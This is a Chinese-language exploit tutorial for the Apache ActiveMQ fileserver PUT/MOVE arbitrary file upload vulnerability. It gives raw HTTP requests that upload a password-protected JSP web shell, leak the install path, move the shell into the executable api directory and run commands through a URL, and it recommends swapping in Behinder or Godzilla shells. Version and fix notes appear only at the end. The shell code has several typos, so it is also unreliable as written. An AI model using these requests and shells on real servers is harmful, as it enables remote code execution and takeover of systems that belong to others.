ActiveMQ 任意文件上传 漏洞 PUT

ActiveMQ是什么？

是消息队列的容器，专注于高并发的环境，比如天猫淘宝一秒钟上亿请求，就好比是水池，把大量短时间无法处理的数据，冗余囤积到ActiveMQ里，再分门别类，按类专门处理，从而提高处理效率。

介绍：

登录admin账号：默认账号admin/admin，抓包进行修改，使用PUT方法上传文件。

ActiveMQ Web控制台分为三个应用程序：其中admin，api和fileserver，其中admin是管理员页面，api是界面，fileserver是用于存储文件的界面；admin和api需要先登录才能使用，fileserver不需要登录。

1  PUT上传

PUT /fileserver/3.jsp HTTP/1.1
Host: xxxxxxxxxxx:30004
Authorization: Basic YWRta46YWRtaW4=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.76
Content-Length: 334
 
<%if("023".equals(request.getParameter("pwd"))){java.io.InputSteam in =Runtime.getRuntime().exec(request.getParameter("1")).getInputStram();inta = -1;byte[]b =new byte[2048];out.print("");
                while((a=in.read(b))!=-1){
                        out.println(neString(b,0,a));
                }
                out.print("");
        }
%>

2获取绝对路径

总结了两种方法

方法1    PUT  /fileserver/a../../%08/..%08/.%08/%08

PUT /fileserver/a../../%08/..%08/.%08/%08 HTTP/1.1
Host: xxxxxxxxxxx:30004
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 1


返回包
HTTP/1.1 500 /usr/local/apache-activemq-5.9.0这里是绝对路径/webapps/fileserver//.././\\ (No such file or directory)
Server: Jetty(7.6.9.v20130131)

方法2

GET /admin/test/systemProperties.jsp

3移动

MOVE /fileserver/3.jsp HTTP/1.1
Host: xxxxxxx:8161
Destination: file:///E:\ApacheMQ\apache-activemq-5.9.0\webapps\api\3.jsp   #绝对路径放这里
Authorization: Basic YWRtaW46YWRtaW4=      #这个必写
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 328
 
<%if("023".equals(request.getParameter("pwd"))){java.io.InputStream in =Runtime.getRntime().exec(request.getParmeter("i")).getInputStream();inta = -1;byte[]b =new byte[2048];out.print("");
                while((a=in.read(b))!=-1){
                        out.println(newString(b,0,a));
                }
                out.print("");
        }
%>

4命令执行

http://xx.xx.xx.xxx:30004/api/4.jsp?pwd=023&i=dir

最后了 来个大马。

注意： 返回包必须是204 才能证明执行成功

总结：你可以把最上面的命令执行换成一句话木马，或者冰蝎、特斯拉等马，一步到位直接getshell（最后我传的大马）

漏洞影响

漏洞影响版本：Apache ActiveMQ 5.x ~ 5.14.0

漏洞修复

1、ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本。

2、通过移除 conf\jetty.xml 的以下配置来禁用 ActiveMQ Fileserver 功能